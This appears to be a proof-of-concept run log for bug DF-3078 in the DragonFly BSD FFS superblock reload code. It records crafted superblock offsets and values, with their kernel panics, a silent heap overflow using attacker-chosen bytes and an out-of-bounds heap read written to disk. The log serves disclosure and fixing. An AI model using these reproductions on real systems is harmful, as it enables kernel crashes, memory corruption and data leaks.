DF-3078 / run.log
DF-3078 run.log โ BASELINE (stock kernel #0, X86_64_GENERIC, INVARIANTS) Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 Image: 64MB newfs UFS1. Superblock geometry (dumpsb): magic=0x00011954 ncg=1 bsize=16384 fsize=2048 frag=8 sbsize=2048 csaddr=536 cssize=2048 ipg=8192 contigsumsize=7 Mount-time fs_csp allocation (ffs_mountfs:680-685) = 2048 + 1*4 + 1*1 = 2053 bytes. === Sanity: reload of an UNCHANGED filesystem ========================= # mount -t ufs -o ro /dev/vn0 /mnt/rt && ./reload /mnt/rt RELOAD RETURNED RELOAD_RC=0 [no crash; path works] === Variant C: fs_fsize = 0 (adopted divisor) ========================== # ./craft ffs.img 52 0; sync; ./reload /mnt/rt patched int32 sb+52 = 0 (0x00000000) Fatal trap 18: integer divide fault while in kernel mode Stopped at ffs_mount+0x627: idivl %ecx,%eax [guest down in DDB โ see panic_idivl_fsize0.txt] === Variant F: fs_ncg = 0x20000000 (maxcluster refill bound) ========== # ./craft ffs.img 44 536870912; sync; ./reload /mnt/rt patched int32 sb+44 = 536870912 (0x20000000) panic: vm_fault: fault on stack guard, addr: 0xfffff80117a41000 ffs_mount() at ffs_mount+0xab9 [the *lp++ store, ffs_vfsops.c:536] [guest down in DDB โ see panic_maxcluster_ncg.txt] === Variant B: fs_cssize = 0x80000 (csum re-read volume) ============== # yes "DF3078!" | head -c 65536 > pat.bin # dd of=ffs.img bs=1 seek=1097728 conv=notrunc if=pat.bin # csaddr*2048 # ./craft ffs.img 156 524288; sync patched int32 sb+156 = 524288 (0x00080000) # ./reload /mnt/rt RELOAD RETURNED RELOAD_RC=0 [NO crash!] # dd if=/dev/vn0 ... | hexdump -> device serves cssize=0x00080000 at sb+156 [The step-3 loop copied 32 x 16384 = 524288 bytes of on-media pattern into the 2053-byte fs_csp allocation: ~522 KB of heap past the chunk silently smashed with attacker-chosen bytes. Guest kept running.] === Adoption proof (non-crashing reload adopts re-read fields) ======== # ./craft ffs.img 40 7777 # fs_dsize # ./reload /mnt/rt; rc=0 # df /mnt/rt /dev/vn0 31108 -97812 126432 -342% /mnt/rt [df now reports the crafted fs_dsize=7777*4 -> geometry adopted] === Variant L1: fs_sbsize = 8192 + RW upgrade (OOB read to media) ===== # ./craft ffs.img 104 8192; ./reload /mnt/rt [RELOADED, rc=0] # mount -u -o rw /dev/vn0 /mnt/rt [ffs_sbupdate: bcopy(fs,bp,8192)] # umount; dd if=ffs.img bs=4096 skip=2 count=2 -> sb+2048..8192 on media [6144 bytes beyond the mount-time um_fs(2048) allocation written to the raw device; region was zero pages on the sparse test guest โ on a busy system this is adjacent live heap. fs_time/fs_fmod in the written sb confirm the 8192-byte writeback really happened.] === Variant L2: fs_sbsize = 65536 + RW upgrade (OOB read fault) ======= # ./craft ffs.img 104 65536; ./reload /mnt/rt [RELOADED, rc=0] # mount -u -o rw /dev/vn0 /mnt/rt Fatal trap 12: page fault while in kernel mode fault code = supervisor read data, page not present fault virtual address = 0xfffff80118780000 Stopped at memmove+0x10a: repe movsq (%rsi),%es:(%rdi) [ffs_sbupdate's bcopy(fs, bp->b_data, 65536) read 63 KB past um_fs into unmapped kernel VA โ see panic_sbupdate_oob_read.txt]